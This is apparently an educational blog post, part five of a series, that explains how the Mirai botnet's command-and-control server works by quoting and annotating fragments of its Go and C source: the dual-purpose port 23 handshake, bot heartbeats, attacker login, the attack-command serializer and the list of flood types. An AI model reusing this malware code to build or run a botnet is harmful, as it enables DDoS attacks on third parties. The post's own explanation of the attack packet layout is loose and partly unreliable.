I Read the Brain of Mirai - How the C2 Server Actually Works


:books: Mirai Botnet Series - Part 5 of 6

:open_book: View the Full Series Index

Okay. So in the last four blogs, we talked about what a botnet is, how Mirai infects devices, what main.c does, and how the scanner works.

Today we go deeper.

Today we look at the brain of Mirai.

The C2 server. The CNC. The Command and Control.

This is the part where I genuinely had a “what the heck” moment reading the source code. Like, whoever wrote this they thought of everything. Every single edge case. Every loophole. Planned.

And guess what? You don’t need to know how to code to understand this. I promise. I’m going to explain this the same way I wish someone explained it to me with real analogies, real code, and zero assumptions about what you already know.

Let’s go.


What Even Is a C2 Server?

Before we open any code, let me explain what a C2 server actually does.

Imagine you built an army of 50,000 robots. These robots are sitting all over the world inside cameras, routers, smart TVs. They’re infected. They’re waiting.

But waiting for what?

Waiting for your orders.

The C2 server is where you sit and give those orders. It’s your command center. Your military headquarters.

[YOU - the attacker]
        |
        | logs into...
        |
[C2 SERVER - your headquarters]
        |
        | sends orders to...
        |
[50,000 infected devices - your army]
        |
        | attacks...
        |
[VICTIM - gets DDoSed offline]

Simple, right? The C2 server sits in the middle of everything. It’s the bridge between you (the attacker) and your army (the bots).

Now let’s open the actual source code and see how Mirai built this.


Opening main.go — The Entry Point

The CNC is written in Go (Golang). The bot itself is written in C. Two different languages. Why? Probably because Go is really good at handling thousands of network connections simultaneously perfect for managing a massive botnet army.

The CNC code lives here:
github.com/jgamblin/Mirai-Source-Code/mirai/cnc/main.go

Open it up. The very first thing you see after the imports:

package main

import (
    "fmt"
    "net"
    "errors"
    "time"
)

const DatabaseAddr string  = "127.0.0.1"
const DatabaseUser string  = "root"
const DatabasePass string  = "password"
const DatabaseTable string = "mirai"

Database credentials. Hardcoded. Right there at the top.

The CNC uses a MySQL database to store:

  • List of bots (infected devices)
  • Attacker accounts (usernames and passwords)
  • Attack history (logs of every attack launched)

Now scroll down to the main() function. This is where things get interesting.


Two Ports. One Server.

func main() {
    tel, err := net.Listen("tcp", "0.0.0.0:23")
    if err != nil {
        fmt.Println(err)
        return
    }

    api, err := net.Listen("tcp", "0.0.0.0:101")
    if err != nil {
        fmt.Println(err)
        return
    }

The CNC opens two ports the moment it starts:

  • Port 23 - Telnet port
  • Port 101 - API port

Why two ports? Let me explain with an analogy.

Think of a hotel. The hotel has two entrances:

  1. Main entrance - where guests check in, the boss manages things
  2. Staff entrance - for internal operations, deliveries, backend stuff

Port 23 is the main entrance. Both the bots AND the attacker use this port.

Port 101 is the staff entrance. It’s for programmatic/API access — external tools talking to the CNC automatically.

Now here’s where it gets brilliant.


How Does One Port Handle TWO Types of Connections?

This is the part that made me go “oh wow.”

Port 23 gets connections from:

  1. Bots - infected cameras, routers, devices checking in automatically
  2. The attacker - a human sitting at a keyboard typing commands

How does the CNC tell them apart? It looks at the first 4 bytes of whatever is sent.

func initialHandler(conn net.Conn) {
    defer conn.Close()
    conn.SetDeadline(time.Now().Add(10 * time.Second))
    
    buf := make([]byte, 32)
    l, err := conn.Read(buf)
    if err != nil || l <= 0 {
        return
    }

    if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
        // THIS IS A BOT
        NewBot(conn, buf[3], source).Handle()
    } else {
        // THIS IS THE ATTACKER
        NewAdmin(conn).Handle()
    }
}

Let me visualize the two different “knocks”:

BOT knocks like this:
[ 00 ][ 00 ][ 00 ][ 05 ]
  ^     ^     ^     ^
  |     |     |     |
zero  zero  zero   "my ID is 5 chars long"

ATTACKER knocks like this:
[ username and password — anything else ]

The guard (CNC) looks at the first four bytes. Three zeros? “Welcome, bot. Join the army.” Anything else? “Hello human. Please login.”

Why three zeros?

Because a human typing a username would never start with three zero bytes. It’s a secret pattern only Mirai bots know to send. Like a secret handshake.

That buf[3] - the fourth byte - is not random either. It tells the CNC how long the bot’s ID string is. So if it’s 05, the bot is saying “I have an ID that is 5 characters long. I’ll send it to you right after.”

Think of it like introducing yourself on the phone:

“Hi, my name is five letters long… R-O-O-T-S.”

First you announce the length. Then you send the actual name.

Why does each bot have a unique ID?

Because the attacker needs to know how many bots are alive. The CNC keeps a count. When you type botcount in the CNC, it tells you “you have 47,000 bots ready.” Each bot has its own ID so the CNC can track it individually.


The Heartbeat — “I’m Still Alive”

Here’s something that most people don’t think about.

After a bot connects to the CNC… what happens next? Does it just sit there silently forever?

No. Because the bot might go offline. The camera might get unplugged. The owner might reboot their router.

The CNC needs to know which bots are still alive and which ones are gone.

This is where the heartbeat comes in.

Think about how a drone works. When a drone is flying, it constantly sends signals back to the ground station:

Drone → Ground Station: "Still flying. Battery 80%. GPS: 19.0760° N, 72.8777° E"
Bot   → CNC:           "Still alive. Still ready to attack."

If the drone stops sending signals, the ground station knows the drone has crashed.

Same thing here.

Every 60 seconds, the bot sends a tiny ping to the CNC. Just a heartbeat. “Still here.”

Look at the code:

// From bot/main.c
timeo.tv_usec = 0;
timeo.tv_sec = 10;          // wait 10 seconds each cycle
nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);

if (nfds == 0)              // nothing received from CNC
{
    uint16_t len = 0;
    if (pings++ % 6 == 0)  // every 6 cycles = every 60 seconds
        send(fd_serv, &len, sizeof(len), MSG_NOSIGNAL);
}

Every 10 seconds, the bot does a select() check basically asking “did the CNC send me anything?” If nothing comes back 6 times in a row (6 × 10 = 60 seconds), the bot sends a heartbeat ping.

And on the CNC side, it resets the deadline:

// From cnc/admin.go
if i % 60 == 0 {
    this.conn.SetDeadline(time.Now().Add(120 * time.Second))
}

If no heartbeat arrives within 120 seconds? CNC marks that bot as dead. Gone from the army.


The Attacker Logs In — What They See

When the attacker connects to port 23 and sends their username/password, what happens?

The CNC checks the database:

// From cnc/admin.go
var loggedIn bool
var userInfo AccountInfo

if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
    this.conn.Write([]byte("\r\n\033[32;1mIncorrect username or password\033[0m\r\n"))
    return
}

If login succeeds, the attacker sees something like this in their terminal:

[+] DDOS | Successfully hijacked connection
[+] DDOS | Masking connection from utmp+wtmp...
[+] DDOS | Hiding from netstat...
[+] DDOS | Removing all traces of LD_PRELOAD...
[+] DDOS | Wiping env libc.poison.so.1
[+] DDOS | Wiping env libc.poison.so.2
[+] DDOS | Wiping env libc.poison.so.3
[+] DDOS | Wiping env libc.poison.so.4
[+] DDOS | Setting up virtual terminal...

Notice what it says. “Masking connection.” “Hiding from netstat.” “Removing all traces.”

The CNC is literally trying to hide the attacker’s session from any monitoring tools. Even after login, it’s covering tracks.

And then the attacker sees a live counter:

// CNC updates bot count every second
go func() {
    i := 0
    for {
        var BotCount int
        if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
            BotCount = userInfo.maxBots
        } else {
            BotCount = clientList.Count()
        }
        time.Sleep(1 * time.Second)
        this.conn.Write([]byte(fmt.Sprintf("\033[0m%d Bots Connected | %s\007", BotCount, username)))
    }
}()

Every single second, the CNC updates the number of bots available. Like a live scoreboard.

47832 Bots Connected | mirai-user
47833 Bots Connected | mirai-user
47831 Bots Connected | mirai-user  ← a bot just went offline

Launching an Attack — The 16 Byte Command

Okay. This is the part where your brain might explode a little.

When the attacker types something like:

udp 192.168.1.1 60

That means: “UDP flood attack, target 192.168.1.1, run for 60 seconds.”

The CNC takes that text command and converts it into just 16 bytes that get sent to every single bot.

Why 16 bytes? Because every bot needs to receive this command. If you have 50,000 bots, smaller command = less bandwidth wasted on coordination = more bandwidth for the actual attack.

Look at the Build() function in attack.go:

func (this *Attack) Build() ([]byte, error) {
    buf := make([]byte, 0)
    var tmp []byte

    // Add attack duration — 4 bytes
    tmp = make([]byte, 4)
    binary.BigEndian.PutUint32(tmp, this.Duration)
    buf = append(buf, tmp...)

    // Add attack type — 1 byte
    buf = append(buf, byte(this.Type))

    // Send number of targets — 1 byte
    buf = append(buf, byte(len(this.Targets)))

    // Send each target IP + netmask — 5 bytes each
    for prefix, netmask := range this.Targets {
        tmp = make([]byte, 5)
        binary.BigEndian.PutUint32(tmp, prefix)
        tmp[4] = byte(netmask)
        buf = append(buf, tmp...)
    }

    // Send flags — variable
    buf = append(buf, byte(len(this.Flags)))
    for key, val := range this.Flags {
        tmp = make([]byte, 2)
        tmp[0] = key
        strbuf := []byte(val)
        tmp[1] = uint8(len(strbuf))
        tmp = append(tmp, strbuf...)
        buf = append(buf, tmp...)
    }

    return buf, nil
}

Let me break down what that 16 byte packet looks like:

ATTACK COMMAND PACKET STRUCTURE
================================
Byte 1-4  : Duration    → How long to attack (in seconds)
Byte 5    : Attack Type → Which type of flood
Byte 6    : Target Count → How many IPs to hit
Byte 7-10 : Target IP   → The victim's IP address
Byte 11   : Netmask     → IP range to attack
Byte 12   : Flag Count  → Number of extra options
Byte 13-14: Flags       → Extra attack parameters
Byte 15-16: Total Length → Size of entire packet

EXAMPLE — "UDP flood, 192.168.1.1, 60 seconds":
00 00 00 3C  00  01  C0 A8 01 01  20  00
    ^         ^   ^       ^         ^   ^
    |         |   |       |         |   |
  60 secs   UDP  1 target  192.168.1.1  /32  no flags

Three things every attack command contains:

  1. WHO to attack (target IP)
  2. HOW LONG to attack (duration in seconds)
  3. WHAT TYPE of attack (UDP? SYN? HTTP?)

That’s it. Three things. 16 bytes. 50,000 bots receive this and immediately start flooding.


The 10 Attack Types

In attack.h, Mirai defines 11 attack types (one is commented out/disabled):

#define ATK_VEC_UDP       0  /* Straight up UDP flood */
#define ATK_VEC_VSE       1  /* Valve Source Engine query flood */
#define ATK_VEC_DNS       2  /* DNS water torture */
#define ATK_VEC_SYN       3  /* SYN flood with options */
#define ATK_VEC_ACK       4  /* ACK flood */
#define ATK_VEC_STOMP     5  /* ACK flood to bypass mitigation devices */
#define ATK_VEC_GREIP     6  /* GRE IP flood */
#define ATK_VEC_GREETH    7  /* GRE Ethernet flood */
//#define ATK_VEC_PROXY   8  /* Proxy knockback — DISABLED */
#define ATK_VEC_UDP_PLAIN 9  /* Plain UDP flood, optimized for speed */
#define ATK_VEC_HTTP      10 /* HTTP layer 7 flood */

Each attack type works differently. Some flood with UDP packets. Some do TCP SYN floods. Some do HTTP requests. Some are specifically designed to bypass DDoS protection systems.

And in attack_init() in main.c, all these get registered:

BOOL attack_init(void)
{
    add_attack(ATK_VEC_UDP,       (ATTACK_FUNC)attack_udp_generic);
    add_attack(ATK_VEC_VSE,       (ATTACK_FUNC)attack_udp_vse);
    add_attack(ATK_VEC_DNS,       (ATTACK_FUNC)attack_udp_dns);
    add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
    add_attack(ATK_VEC_SYN,       (ATTACK_FUNC)attack_tcp_syn);
    add_attack(ATK_VEC_ACK,       (ATTACK_FUNC)attack_tcp_ack);
    add_attack(ATK_VEC_STOMP,     (ATTACK_FUNC)attack_tcp_stomp);
    add_attack(ATK_VEC_GREIP,     (ATTACK_FUNC)attack_gre_ip);
    add_attack(ATK_VEC_GREETH,    (ATTACK_FUNC)attack_gre_eth);
    add_attack(ATK_VEC_HTTP,      (ATTACK_FUNC)attack_app_http);
    return TRUE;
}

Notice the pattern? add_attack(TYPE, function).

The author built a plugin system for attacks. Each attack type is a separate function. Want to add a new attack type? Just add one line. Clean. Modular. Extensible.

This is why Mirai variants were so easy to create the code architecture was designed for it.


The Moment That Broke My Brain

When I was reading all this code, one thing hit me hard.

Remember how in Blog 3 we talked about how the killer module closes port 23 on infected devices? And how the bot deletes itself from disk?

I thought that was just self-preservation. But now I see the FULL picture.

Step 1: Bot infects a device
        → immediately closes port 23 (telnet)
        → no other malware can take over this device
        → this bot is YOURS now

Step 2: Bot deletes itself from disk
        → unlink(args[0]) — gone
        → but it's already running in RAM
        → rebooting "fixes" the device... temporarily

Step 3: Bot connects to CNC
        → sends 00 00 00 [id_len]
        → joins the army
        → sends heartbeat every 60 seconds

Step 4: Attacker logs in
        → sees live bot count updating every second
        → types attack command
        → 16 bytes fly out to 50,000 devices simultaneously

Step 5: Attack hits victim
        → terabits of traffic
        → entire websites go offline
        → Dyn DNS attack in 2016 — Twitter, Netflix, Reddit all went down

And on top of all this the author released the source code publicly. On purpose.

Why? So that thousands of people would create their own Mirai variants. Making it impossible for investigators to trace who wrote the original. Creating so much noise that the signal disappears.

That’s not a bug. That’s a strategy.


What I Found Confusing (And Now Don’t)

Confusing: Why does one port handle both bots AND admins?

Now I get it: Efficiency. One port, two purposes. The first 4 bytes decide everything. Less infrastructure to maintain. Less to get detected.


Confusing: What is the heartbeat actually sending?

Now I get it: Almost nothing. Just a tiny 2-byte ping saying “still here.” The CNC doesn’t need information from the bot it just needs to know the bot is alive.


Confusing: Why 16 bytes for an attack command? That seems too small.

Now I get it: 50,000 bots × even a 1KB command = 50MB of bandwidth just sending orders. 16 bytes × 50,000 = 800KB. Tiny. And that means more bandwidth saved for the actual attack.


You Don’t Need to Know How to Code

I want to say something directly to you before we close.

When I first saw buf[0] == 0x00 && buf[1] == 0x00, I panicked.

“I don’t understand hex. I don’t understand bytes. Maybe this isn’t for me.”

But here’s the truth understanding Mirai doesn’t require you to write Go or C. It requires you to understand how people think. How attackers design systems. How they plan for every edge case.

The person who wrote Mirai thought about:

  • What if two bots connect at the same time? :white_check_mark: (concurrent goroutines)
  • What if a bot goes offline? :white_check_mark: (heartbeat system)
  • What if someone else tries to infect the same device? :white_check_mark: (killer module closes ports)
  • What if I get caught? :white_check_mark: (release source publicly, create noise)

That kind of thinking that’s what security research is. Reading code isn’t about understanding every syntax detail. It’s about understanding intent.

What was this person trying to solve? How did they solve it? Could it have been done better?

Those questions don’t require coding skills. They require curiosity.


What We Learned — Glossary

C2 / CNC (Command and Control): The attacker’s headquarters. The server that manages all infected bots and issues attack commands.

Port 23: Standard Telnet port. Mirai uses it for both bot check-ins and attacker logins.

Port 101: API port for programmatic/backend communication with the CNC.

Bot Handshake: The first 4 bytes a bot sends: 00 00 00 [id_length]. Three zeros = “I am a bot.”

Bot ID: A unique identifier each infected device gets. Allows the CNC to track individual bots.

Heartbeat: A tiny ping sent every 60 seconds from bot to CNC. Proves the bot is still alive and ready.

Attack Packet: A 16-byte command containing: target IP, attack duration, attack type.

attack_init(): The function that registers all 10 attack types as a plugin system.

Goroutine: Go’s lightweight thread. Allows the CNC to handle thousands of bot connections simultaneously.

ClientList: The CNC’s internal list of all currently connected bots.

DatabaseAddr / DatabaseUser: Hardcoded MySQL credentials in main.go. The database stores bot lists, attacker accounts, and attack history.


Coming Next — Blog 6: How Mirai Actually Destroys Targets

In Blog 6, we go deep into the DDoS attack mechanisms. UDP floods. SYN floods. How Mirai sent 1.2 Tbps of traffic at Dyn DNS. What each attack type actually does at the packet level.

← Blog 4: Scanner Deep Dive | Blog 6: DDoS Mechanisms →